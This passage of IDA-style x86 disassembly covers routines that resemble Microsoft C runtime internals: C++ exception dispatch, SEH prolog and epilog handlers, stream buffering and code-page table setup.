[ebp+arg_0] mov [ebp+var_1C], ebx and [ebp+var_20], 0 mov eax, [edi-4] mov [ebp+var_24], eax push dword ptr [esi+18h] lea eax, [ebp+var_2C] push eax call sub_413C6C pop ecx pop ecx mov [ebp+var_30], eax call sub_415456 mov eax, [eax+78h] mov [ebp+var_34], eax call sub_415456 mov eax, [eax+7Ch] mov [ebp+var_38], eax call sub_415456 mov [eax+78h], esi call sub_415456 mov ecx, [ebp+arg_8] mov [eax+7Ch], ecx and [ebp+ms_exc.disabled], 0 mov [ebp+ms_exc.disabled], 1 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+arg_C] push edi call sub_413D01 add esp, 14h mov [ebp+var_1C], eax and [ebp+ms_exc.disabled], 0 jmp loc_418965 ; --------------------------------------------------------------------------- mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov [ebp+var_3C], eax mov eax, [ebp+var_3C] cmp dword ptr [eax], 0E06D7363h jnz short loc_4188FA mov eax, [ebp+var_3C] cmp dword ptr [eax+10h], 3 jnz short loc_4188FA mov eax, [ebp+var_3C] cmp dword ptr [eax+14h], 19930520h jnz short loc_4188FA mov eax, [ebp+var_3C] cmp dword ptr [eax+1Ch], 0 mov [ebp+var_40], 1 jz short loc_418901 loc_4188FA: ; CODE XREF: sub_41883D+96j ; sub_41883D+9Fj ... mov [ebp+var_40], 0 loc_418901: ; CODE XREF: sub_41883D+BBj mov eax, [ebp+var_40] retn ; --------------------------------------------------------------------------- loc_418905: ; DATA XREF: .rdata:00427F34o mov esp, [ebp+ms_exc.old_esp] mov ecx, [ebp+arg_C] mov eax, [ecx+8] mov [ebp+var_44], eax mov edi, [ebp+arg_4] mov eax, [edi+8] mov [ebp+var_48], eax mov edx, [ecx+10h] mov [ebp+var_4C], edx xor edx, edx loc_418922: ; CODE XREF: sub_41883D+13Bj mov [ebp+var_50], edx cmp edx, [ecx+0Ch] jnb short loc_41894E lea esi, [edx+edx*4] mov ebx, [ebp+var_4C] lea esi, [ebx+esi*4] mov ebx, [esi+4] cmp eax, ebx jle short loc_418977 cmp eax, [esi+8] jg short loc_418977 lea eax, [ebx+1] mov [ebp+var_48], eax mov edx, [ebp+var_44] mov eax, [edx+eax*8] mov [ebp+var_48], eax loc_41894E: ; CODE XREF: sub_41883D+EBj push eax push ecx xor esi, esi push esi push edi call sub_41870D add esp, 10h mov [ebp+var_1C], esi mov [ebp+ms_exc.disabled], esi mov esi, [ebp+arg_0] loc_418965: ; CODE XREF: sub_41883D+80j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_418980 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_41883D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41883D loc_418977: ; CODE XREF: sub_41883D+FBj ; sub_41883D+100j inc edx jmp short loc_418922 ; END OF FUNCTION CHUNK FOR sub_41883D ; =============== S U B R O U T I N E ======================================= sub_41897A proc near ; DATA XREF: .rdata:stru_427F20o mov edi, [ebp+0Ch] mov esi, [ebp+8] sub_41897A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_418980 proc near ; CODE XREF: sub_41883D+12Cp mov eax, [ebp-24h] mov [edi-4], eax push dword ptr [ebp-30h] call sub_413CB5 pop ecx call sub_415456 mov ecx, [ebp-34h] mov [eax+78h], ecx call sub_415456 mov ecx, [ebp-38h] mov [eax+7Ch], ecx cmp dword ptr [esi], 0E06D7363h jnz short locret_4189E3 cmp dword ptr [esi+10h], 3 jnz short locret_4189E3 cmp dword ptr [esi+14h], 19930520h jnz short locret_4189E3 cmp dword ptr [ebp-20h], 0 jnz short locret_4189E3 cmp dword ptr [ebp-1Ch], 0 jz short locret_4189E3 push dword ptr [esi+18h] call sub_413C94 pop ecx test eax, eax jz short locret_4189E3 call sub_413EAE push eax push esi call sub_4187DB pop ecx pop ecx locret_4189E3: ; CODE XREF: sub_418980+2Bj ; sub_418980+31j ... retn sub_418980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4189E4 proc near ; CODE XREF: sub_418B60+Dp ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 8 push offset stru_427F38 call __SEH_prolog mov esi, ecx mov eax, [ebp+arg_4] mov edi, edx mov ebx, [ebp+arg_0] mov ecx, [eax+4] test ecx, ecx jz loc_418B4E cmp byte ptr [ecx+8], 0 jz loc_418B4E mov ecx, [eax+8] test ecx, ecx jnz short loc_418A20 test byte ptr [eax+3], 80h jz loc_418B4E loc_418A20: ; CODE XREF: sub_4189E4+30j mov eax, [eax] test eax, eax js short loc_418A2A lea edi, [ecx+edi+0Ch] loc_418A2A: ; CODE XREF: sub_4189E4+40j and [ebp+ms_exc.disabled], 0 push 1 push dword ptr [ebx+18h] test al, 8 jz short loc_418A6C call sub_41CDC5 pop ecx pop ecx test eax, eax jz loc_418B45 push 1 push edi call sub_41CDE1 pop ecx pop ecx test eax, eax jz loc_418B45 mov eax, [ebx+18h] mov [edi], eax loc_418A5D: ; CODE XREF: sub_4189E4+D1j lea ecx, [esi+8] call sub_418820 mov [edi], eax jmp loc_418B4A ; --------------------------------------------------------------------------- loc_418A6C: ; CODE XREF: sub_4189E4+51j test byte ptr [esi], 1 jz short loc_418AB7 call sub_41CDC5 pop ecx pop ecx test eax, eax jz loc_418B45 push 1 push edi call sub_41CDE1 pop ecx pop ecx test eax, eax jz loc_418B45 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41BC70 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_418B4A mov eax, [edi] test eax, eax jz loc_418B4A jmp short loc_418A5D ; --------------------------------------------------------------------------- loc_418AB7: ; CODE XREF: sub_4189E4+8Bj cmp dword ptr [esi+18h], 0 jnz short loc_418AF0 call sub_41CDC5 pop ecx pop ecx test eax, eax jz short loc_418B45 push 1 push edi call sub_41CDE1 pop ecx pop ecx test eax, eax jz short loc_418B45 push dword ptr [esi+14h] lea ecx, [esi+8] mov eax, [ebx+18h] call sub_418820 push eax push edi call sub_41BC70 add esp, 0Ch jmp short loc_418B4A ; --------------------------------------------------------------------------- loc_418AF0: ; CODE XREF: sub_4189E4+D7j call sub_41CDC5 pop ecx pop ecx test eax, eax jz short loc_418B45 push 1 push edi call sub_41CDE1 pop ecx pop ecx test eax, eax jz short loc_418B45 push dword ptr [esi+18h] call sub_41CDFD pop ecx test eax, eax jz short loc_418B45 mov eax, [ebx+18h] lea ecx, [esi+8] test byte ptr [esi], 4 jz short loc_418B34 push 1 call sub_418820 push eax push dword ptr [esi+18h] push edi call sub_413ACE jmp short loc_418B4A ; --------------------------------------------------------------------------- loc_418B34: ; CODE XREF: sub_4189E4+13Bj call sub_418820 push eax push dword ptr [esi+18h] push edi call sub_413ACE jmp short loc_418B4A ; --------------------------------------------------------------------------- loc_418B45: ; CODE XREF: sub_4189E4+5Cj ; sub_4189E4+6Ej ... call sub_418F40 loc_418B4A: ; CODE XREF: sub_4189E4+83j ; sub_4189E4+C1j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh loc_418B4E: ; CODE XREF: sub_4189E4+1Bj ; sub_4189E4+25j ... call __SEH_epilog retn sub_4189E4 endp ; =============== S U B R O U T I N E ======================================= sub_418B54 proc near ; DATA XREF: .rdata:stru_427F38o xor eax, eax inc eax retn sub_418B54 endp ; --------------------------------------------------------------------------- loc_418B58: ; DATA XREF: .rdata:stru_427F38o mov esp, [ebp-18h] jmp sub_418F0B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B60 proc near ; CODE XREF: sub_418BC7+A2p ; sub_418C87+17Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp test ecx, ecx jz short loc_418B74 push ebx push [ebp+arg_0] mov edx, esi call sub_4189E4 pop ecx pop ecx loc_418B74: ; CODE XREF: sub_418B60+5j cmp [ebp+arg_14], 0 push [ebp+arg_0] jnz short loc_418B80 push esi jmp short loc_418B83 ; --------------------------------------------------------------------------- loc_418B80: ; CODE XREF: sub_418B60+1Bj push [ebp+arg_14] loc_418B83: ; CODE XREF: sub_418B60+1Ej call sub_413AD5 push dword ptr [edi] push [ebp+arg_C] push [ebp+arg_8] push esi call sub_41870D mov eax, [edi+4] push 100h push [ebp+arg_10] inc eax push [ebp+arg_C] mov [esi+8], eax push [ebp+arg_4] mov ecx, [ebx+0Ch] push esi push [ebp+arg_0] call sub_41883D add esp, 28h test eax, eax jz short loc_418BC5 push esi push eax call sub_413A9E loc_418BC5: ; CODE XREF: sub_418B60+5Cj pop ebp retn sub_418B60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BC7 proc near ; CODE XREF: sub_418C87+1D3p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx push esi mov esi, [ebp+arg_0] cmp dword ptr [esi], 80000003h jz loc_418C84 call sub_415456 cmp dword ptr [eax+74h], 0 jz short loc_418C06 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_413D52 add esp, 1Ch test eax, eax jnz short loc_418C84 loc_418C06: ; CODE XREF: sub_418BC7+1Ej mov esi, [ebp+arg_14] push edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push esi push [ebp+arg_18] push [ebp+arg_10] call sub_413BF2 mov edi, eax mov eax, [ebp+var_4] add esp, 14h cmp eax, [ebp+var_8] jnb short loc_418C83 push ebx loc_418C2C: ; CODE XREF: sub_418BC7+B9j cmp esi, [edi] jl short loc_418C74 cmp esi, [edi+4] jg short loc_418C74 mov eax, [edi+0Ch] mov ecx, [edi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_418C4D cmp byte ptr [ecx+8], 0 jnz short loc_418C74 loc_418C4D: ; CODE XREF: sub_418BC7+7Ej mov esi, [ebp+arg_4] push 1 push [ebp+arg_1C] lea ebx, [eax-10h] push [ebp+arg_18] xor ecx, ecx push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_0] call sub_418B60 mov esi, [ebp+arg_14] add esp, 1Ch loc_418C74: ; CODE XREF: sub_418BC7+67j ; sub_418BC7+6Cj ... inc [ebp+var_4] mov eax, [ebp+var_4] add edi, 14h cmp eax, [ebp+var_8] jb short loc_418C2C pop ebx loc_418C83: ; CODE XREF: sub_418BC7+62j pop edi loc_418C84: ; CODE XREF: sub_418BC7+Fj ; sub_418BC7+3Dj pop esi leave retn sub_418BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C87 proc near ; CODE XREF: sub_418E69+93p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_4] mov eax, [eax+8] and byte ptr [ebp+var_1C], 0 cmp eax, 0FFFFFFFFh mov [ebp+var_18], eax jl short loc_418CA7 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_418CAC loc_418CA7: ; CODE XREF: sub_418C87+16j call sub_418F40 loc_418CAC: ; CODE XREF: sub_418C87+1Ej push ebx mov ebx, [ebp+arg_0] cmp dword ptr [ebx], 0E06D7363h push esi push edi jnz loc_418E3E cmp dword ptr [ebx+10h], 3 mov edi, 19930520h jnz short loc_418D38 cmp [ebx+14h], edi jnz short loc_418D38 cmp dword ptr [ebx+1Ch], 0 jnz short loc_418D38 call sub_415456 cmp dword ptr [eax+78h], 0 jz loc_418E36 call sub_415456 mov esi, [eax+78h] mov [ebp+arg_0], esi call sub_415456 mov eax, [eax+7Ch] push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_1C], 1 call sub_41CDC5 test eax, eax pop ecx pop ecx jnz short loc_418D10 call sub_418F40 loc_418D10: ; CODE XREF: sub_418C87+82j cmp dword ptr [esi], 0E06D7363h jnz loc_418E3B mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 3 jnz short loc_418D35 cmp [eax+14h], edi jnz short loc_418D35 cmp dword ptr [eax+1Ch], 0 jnz short loc_418D35 call sub_418F40 loc_418D35: ; CODE XREF: sub_418C87+9Cj ; sub_418C87+A1j ... mov ebx, [ebp+arg_0] loc_418D38: ; CODE XREF: sub_418C87+40j ; sub_418C87+45j ... cmp dword ptr [ebx], 0E06D7363h jnz loc_418E3E cmp dword ptr [ebx+10h], 3 jnz loc_418E3E cmp [ebx+14h], edi jnz loc_418E3E mov esi, [ebp+var_18] lea eax, [ebp+var_20] push eax lea eax, [ebp+var_8] push eax push esi push [ebp+arg_18] push [ebp+arg_10] call sub_413BF2 mov ecx, [ebp+var_8] add esp, 14h cmp ecx, [ebp+var_20] mov [ebp+var_4], eax jnb loc_418E26 jmp short loc_418D85 ; --------------------------------------------------------------------------- loc_418D82: ; CODE XREF: sub_418C87+199j mov esi, [ebp+var_18] loc_418D85: ; CODE XREF: sub_418C87+F9j cmp [eax], esi jg loc_418E11 cmp esi, [eax+4] jg short loc_418E11 mov ecx, [eax+0Ch] test ecx, ecx mov esi, [eax+10h] mov [ebp+var_14], ecx jle short loc_418E11 loc_418D9F: ; CODE XREF: sub_418C87+15Bj mov ecx, [ebx+1Ch] mov ecx, [ecx+0Ch] lea edx, [ecx+4] mov ecx, [ecx] test ecx, ecx mov [ebp+var_C], edx mov [ebp+var_10], ecx jle short loc_418DD8 loc_418DB4: ; CODE XREF: sub_418C87+14Cj mov eax, [ebp+var_C] mov edi, [eax] push dword ptr [ebx+1Ch] mov [ebp+var_24], edi call sub_4186A0 test eax, eax pop ecx jnz short loc_418DE6 dec [ebp+var_10] add [ebp+var_C], 4 cmp [ebp+var_10], eax jg short loc_418DB4 mov eax, [ebp+var_4] loc_418DD8: ; CODE XREF: sub_418C87+12Bj dec [ebp+var_14] add esi, 10h cmp [ebp+var_14], 0 jg short loc_418D9F jmp short loc_418E11 ; --------------------------------------------------------------------------- loc_418DE6: ; CODE XREF: sub_418C87+140j push [ebp+var_1C] mov edi, [ebp+var_4] push [ebp+arg_1C] mov ecx, [ebp+var_24] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push ebx mov ebx, esi mov esi, [ebp+arg_4] call sub_418B60 mov ebx, [ebp+arg_0] add esp, 1Ch mov eax, edi loc_418E11: ; CODE XREF: sub_418C87+100j ; sub_418C87+109j ... inc [ebp+var_8] mov ecx, [ebp+var_8] add eax, 14h cmp ecx, [ebp+var_20] mov [ebp+var_4], eax jb loc_418D82 loc_418E26: ; CODE XREF: sub_418C87+F3j cmp [ebp+arg_14], 0 jz short loc_418E36 push 1 push ebx call sub_4187DB pop ecx pop ecx loc_418E36: ; CODE XREF: sub_418C87+56j ; sub_418C87+1A3j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_418E3B: ; CODE XREF: sub_418C87+8Fj mov ebx, [ebp+arg_0] loc_418E3E: ; CODE XREF: sub_418C87+31j ; sub_418C87+B7j ... cmp [ebp+arg_14], 0 jnz short loc_418E64 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push ebx call sub_418BC7 add esp, 20h jmp short loc_418E36 ; --------------------------------------------------------------------------- loc_418E64: ; CODE XREF: sub_418C87+1BBj jmp sub_418F0B sub_418C87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E69 proc near ; CODE XREF: .text:00413B48p ; .text:00413B78p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] mov eax, [esi] push edi and eax, 1FFFFFFFh mov edi, 19930520h cmp eax, edi jz short loc_418E86 call sub_418F40 loc_418E86: ; CODE XREF: sub_418E69+16j mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_418EAE cmp dword ptr [esi+4], 0 jz short loc_418F04 cmp [ebp+arg_14], 0 jnz short loc_418F04 push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_41870D add esp, 10h jmp short loc_418F04 ; --------------------------------------------------------------------------- loc_418EAE: ; CODE XREF: sub_418E69+24j cmp dword ptr [esi+0Ch], 0 jz short loc_418F04 cmp dword ptr [eax], 0E06D7363h jnz short loc_418EE8 cmp [eax+14h], edi jbe short loc_418EE8 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_418EE8 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_418F07 ; --------------------------------------------------------------------------- loc_418EE8: ; CODE XREF: sub_418E69+51j ; sub_418E69+56j ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_418C87 add esp, 20h loc_418F04: ; CODE XREF: sub_418E69+2Aj ; sub_418E69+30j ... xor eax, eax inc eax loc_418F07: ; CODE XREF: sub_418E69+7Dj pop edi pop esi pop ebp retn sub_418E69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F0B proc near ; CODE XREF: sub_4186EF+19j ; .text:0041881Bj ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041CE15 SIZE 00000018 BYTES push 8 push offset stru_427F48 call __SEH_prolog call sub_415456 cmp dword ptr [eax+6Ch], 0 jz short loc_418F3B and [ebp+ms_exc.disabled], 0 call sub_415456 call dword ptr [eax+6Ch] jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F30: ; DATA XREF: .rdata:stru_427F48o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_418F34: ; DATA XREF: .rdata:stru_427F48o mov esp, [ebp+ms_exc.old_esp] loc_418F37: ; CODE XREF: sub_418F0B+23j or [ebp+ms_exc.disabled], 0FFFFFFFFh loc_418F3B: ; CODE XREF: sub_418F0B+15j jmp loc_41CE15 sub_418F0B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F40 proc near ; CODE XREF: sub_413BF2+23p ; sub_413BF2:loc_413C5Cp ... ms_exc = CPPEH_RECORD ptr -18h push 8 push offset stru_427F58 call __SEH_prolog mov eax, off_42CE40 test eax, eax jz short loc_418F68 and [ebp+ms_exc.disabled], 0 call eax ; sub_418F0B jmp short loc_418F64 ; --------------------------------------------------------------------------- loc_418F5D: ; DATA XREF: .rdata:stru_427F58o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_418F61: ; DATA XREF: .rdata:stru_427F58o mov esp, [ebp+ms_exc.old_esp] loc_418F64: ; CODE XREF: sub_418F40+1Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh loc_418F68: ; CODE XREF: sub_418F40+13j jmp sub_418F0B sub_418F40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F70 proc near ; CODE XREF: sub_413D01+3Dp ; sub_41870D+68p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_413ED1 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_418FAF mov ecx, 2 loc_418FAF: ; CODE XREF: sub_418F70+38j push ecx call sub_413ED1 pop ebp pop ecx pop ebx leave retn 0Ch sub_418F70 endp ; =============== S U B R O U T I N E ======================================= sub_418FBC proc near ; CODE XREF: sub_41414F+1Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41AA50 test eax, eax pop ecx jz short loc_419040 cmp esi, offset dword_42C920 jnz short loc_418FDA xor eax, eax jmp short loc_418FE5 ; --------------------------------------------------------------------------- loc_418FDA: ; CODE XREF: sub_418FBC+18j cmp esi, offset dword_42C940 jnz short loc_419040 xor eax, eax inc eax loc_418FE5: ; CODE XREF: sub_418FBC+1Cj inc dword_479EB8 test word ptr [esi+0Ch], 10Ch jnz short loc_419040 push ebx push edi lea edi, ds:47A01Ch[eax*4] cmp dword ptr [edi], 0 mov ebx, 1000h jnz short loc_419026 push ebx call sub_41344D test eax, eax pop ecx mov [edi], eax jnz short loc_419026 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_419033 ; --------------------------------------------------------------------------- loc_419026: ; CODE XREF: sub_418FBC+48j ; sub_418FBC+55j mov edi, [edi] mov [esi+8], edi mov [esi], edi mov [esi+18h], ebx mov [esi+4], ebx loc_419033: ; CODE XREF: sub_418FBC+68j or word ptr [esi+0Ch], 1102h pop edi xor eax, eax pop ebx inc eax pop esi retn ; --------------------------------------------------------------------------- loc_419040: ; CODE XREF: sub_418FBC+10j ; sub_418FBC+24j ... xor eax, eax pop esi retn sub_418FBC endp ; =============== S U B R O U T I N E ======================================= sub_419044 proc near ; CODE XREF: sub_41414F+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 jz short locret_41906D push esi mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41906C push esi call sub_41644D and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx loc_41906C: ; CODE XREF: sub_419044+10j pop esi locret_41906D: ; CODE XREF: sub_419044+5j retn sub_419044 endp ; =============== S U B R O U T I N E ======================================= sub_41906E proc near ; CODE XREF: sub_4192C7+FFp ; sub_4192C7+149p sub eax, 3A4h jz short loc_419097 sub eax, 4 jz short loc_419091 sub eax, 0Dh jz short loc_41908B dec eax jz short loc_419085 xor eax, eax retn ; --------------------------------------------------------------------------- loc_419085: ; CODE XREF: sub_41906E+12j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41908B: ; CODE XREF: sub_41906E+Fj mov eax, 412h retn ; --------------------------------------------------------------------------- loc_419091: ; CODE XREF: sub_41906E+Aj mov eax, 804h retn ; --------------------------------------------------------------------------- loc_419097: ; CODE XREF: sub_41906E+5j mov eax, 411h retn sub_41906E endp ; =============== S U B R O U T I N E ======================================= sub_41909D proc near ; CODE XREF: sub_4192C7:loc_41943Cp push edi push 40h xor eax, eax pop ecx mov edi, offset byte_47A400 rep stosd stosb xor eax, eax mov dword_47A504, eax mov dword_47A3F0, eax mov dword_47A3E8, eax mov edi, offset word_47A510 stosd stosd stosd pop edi retn sub_41909D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4190C6 proc near ; CODE XREF: sub_4192C7:loc_419441p var_518 = word ptr -518h var_318 = byte ptr -318h var_218 = byte ptr -218h var_118 = byte ptr -118h var_18 = byte ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 518h mov eax, dword_42CE38 xor eax, [ebp+4] push esi mov [ebp+var_4], eax lea eax, [ebp+var_18] push eax push dword_47A504 call ds:dword_41F18C cmp eax, 1 mov esi, 100h jnz loc_419206 xor eax, eax loc_4190FB: ; CODE XREF: sub_4190C6+3Fj mov [ebp+eax+var_118], al inc eax cmp eax, esi jb short loc_4190FB mov al, [ebp+var_12] test al, al mov [ebp+var_118], 20h jz short loc_41914B push ebx lea edx, [ebp+var_11] push edi loc_41911A: ; CODE XREF: sub_4190C6+81j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_419141 sub ecx, eax inc ecx mov ebx, ecx shr ecx, 2 lea edi, [ebp+eax+var_118] mov eax, 20202020h rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_419141: ; CODE XREF: sub_4190C6+5Cj inc edx mov al, [edx] inc edx test al, al jnz short loc_41911A pop edi pop ebx loc_41914B: ; CODE XREF: sub_4190C6+4Dj push 0 push dword_47A3E8 lea eax, [ebp+var_518] push dword_47A504 push eax push esi lea eax, [ebp+var_118] push eax push 1 call sub_41AF01 push 0 push dword_47A504 lea eax, [ebp+var_218] push esi push eax push esi lea eax, [ebp+var_118] push eax push esi push dword_47A3E8 call sub_4182E4 push 0 push dword_47A504 lea eax, [ebp+var_318] push esi push eax push esi lea eax, [ebp+var_118] push eax push 200h push dword_47A3E8 call sub_4182E4 add esp, 5Ch xor eax, eax loc_4191C0: ; CODE XREF: sub_4190C6+13Cj mov cx, [ebp+eax*2+var_518] test cl, 1 jz short loc_4191E3 or byte_47A401[eax], 10h mov cl, [ebp+eax+var_218] loc_4191DB: ; CODE XREF: sub_4190C6+130j mov byte_47A520[eax], cl jmp short loc_4191FF ; --------------------------------------------------------------------------- loc_4191E3: ; CODE XREF: sub_4190C6+105j test cl, 2 jz short loc_4191F8 or byte_47A401[eax], 20h mov cl, [ebp+eax+var_318] jmp short loc_4191DB ; --------------------------------------------------------------------------- loc_4191F8: ; CODE XREF: sub_4190C6+120j and byte_47A520[eax], 0 loc_4191FF: ; CODE XREF: sub_4190C6+11Bj inc eax cmp eax, esi jb short loc_4191C0 jmp short loc_41924A ; --------------------------------------------------------------------------- loc_419206: ; CODE XREF: sub_4190C6+2Dj xor eax, eax loc_419208: ; CODE XREF: sub_4190C6+182j cmp eax, 41h jb short loc_419226 cmp eax, 5Ah ja short loc_419226 or byte_47A401[eax], 10h mov cl, al add cl, 20h loc_41921E: ; CODE XREF: sub_4190C6+176j mov byte_47A520[eax], cl jmp short loc_419245 ; --------------------------------------------------------------------------- loc_419226: ; CODE XREF: sub_4190C6+145j ; sub_4190C6+14Aj cmp eax, 61h jb short loc_41923E cmp eax, 7Ah ja short loc_41923E or byte_47A401[eax], 20h mov cl, al sub cl, 20h jmp short loc_41921E ; --------------------------------------------------------------------------- loc_41923E: ; CODE XREF: sub_4190C6+163j ; sub_4190C6+168j and byte_47A520[eax], 0 loc_419245: ; CODE XREF: sub_4190C6+15Ej inc eax cmp eax, esi jb short loc_419208 loc_41924A: ; CODE XREF: sub_4190C6+13Ej mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop esi call sub_4182D6 leave retn sub_4190C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419258 proc near ; CODE XREF: sub_4195CB+1Ap var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 10h push offset stru_427F68 call __SEH_prolog push 0Dh call sub_416901 pop ecx and [ebp+ms_exc.disabled], 0 call sub_415456 mov edi, eax mov [ebp+var_1C], edi mov esi, [edi+60h] mov [ebp+var_20], esi cmp esi, dword_47A3EC jz short loc_4192AA test esi, esi jz short loc_419297 dec dword ptr [esi] jnz short loc_419297 push esi call sub_412FE4 pop ecx loc_419297: ; CODE XREF: sub_419258+32j ; sub_419258+36j mov eax, dword_47A3EC mov [edi+60h], eax mov esi, dword_47A3EC mov [ebp+var_20], esi inc dword ptr [esi] loc_4192AA: ; CODE XREF: sub_419258+2Ej or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_4192BE mov eax, esi call __SEH_epilog retn sub_419258 endp ; =============== S U B R O U T I N E ======================================= sub_4192BB proc near ; DATA XREF: .rdata:stru_427F68o mov esi, [ebp-20h] sub_4192BB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4192BE proc near ; CODE XREF: sub_419258+56p push 0Dh call sub_41686D pop ecx retn sub_4192BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192C7 proc near ; CODE XREF: sub_41945D+9Fp var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch mov eax, dword_42CE38 xor eax, [ebp+4] push ebx push esi mov esi, [ebp+arg_0] xor ebx, ebx cmp esi, ebx mov [ebp+var_4], eax push edi jz loc_41943C xor edx, edx xor eax, eax loc_4192EC: ; CODE XREF: sub_4192C7+36j cmp dword_42CE58[eax], esi jz short loc_419359 add eax, 30h inc edx cmp eax, 0F0h jb short loc_4192EC lea eax, [ebp+var_1C] push eax push esi call ds:dword_41F18C cmp eax, 1 jnz loc_419434 push 40h xor eax, eax cmp [ebp+var_1C], 1 pop ecx mov edi, offset byte_47A400 rep stosd stosb mov 